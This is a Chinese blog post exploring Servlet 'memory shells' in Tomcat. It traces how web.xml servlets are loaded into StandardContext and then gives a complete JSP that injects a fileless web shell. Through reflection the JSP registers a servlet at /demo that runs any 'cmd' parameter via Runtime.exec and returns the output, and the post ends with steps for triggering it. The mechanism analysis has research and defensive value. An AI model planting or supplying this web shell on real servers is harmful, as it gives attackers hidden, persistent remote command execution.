Servlet内存马探究

2022-05-17 18:14:20 浏览数 (1)

Servlet

web.xml

代码语言:javascript复制
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0"
         metadata-complete="false"
>


    <!--注册Servlet-->
    <servlet>
        <servlet-name>hello</servlet-name>
        <servlet-class>com.naihe2.testServlet</servlet-class>
    </servlet>
    <!--Servlet的请求路径-->
    <servlet-mapping>
        <servlet-name>hello</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>
</web-app>

testServlet

代码语言:javascript复制
package com.naihe2;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;


public class testServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("123");
    }


    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }


}

分析Servlet生成

读取web.xml ContextConfig#webConfig()

在这里对其xml文件进行读取

ContextConfig#configureContext()

遍历webxml中的内容,将内容赋给新创建的Wrapper

将类名添加到Wrapper

将Wrapper添加到context中

StandardContext.createWapper()

在这里添加映射关系, 将 url 路径和 servlet 类做映射。

加载Servlet

遍历内容,比添加到StandardContext的list中

这里判断loadOnStartup是否大于0,如果大于才会添加

standardWrapper中的loadOnStatup默认为-1

在servlet的配置当中,1的含义是:标记容器是否在启动的时候就加载这个servlet。当值为0或者大于0时,表示容器在应用启动时就加载这个servlet;当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。正数的值越小,启动该servlet的优先级越高。

由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要把优先级调至1,让自己写的servlet直接被加载

遍历list,加载wrapper

Servlet内存马

代码语言:javascript复制
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
  <head>
    <title>$Title$</title>
  </head>
  <body>
  <%
    HttpServlet httpServlet = new HttpServlet() {
      @Override
      protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        int len;
        while ((len = bis.read())!=-1){
          resp.getWriter().write(len);
        }
      }

      @Override
      protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
      }
    };

    //获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();

    //从StandardContext.createWapper()获得一个Wapper对象
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = httpServlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(httpServlet);
    newWrapper.setServletClass(httpServlet.getClass().getName());
    //将Wrapper添加到StandardContext
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/demo", name);
  %>

直接访问demo发现404

访问index.jsp注入内存马

再次访问demo

0 人点赞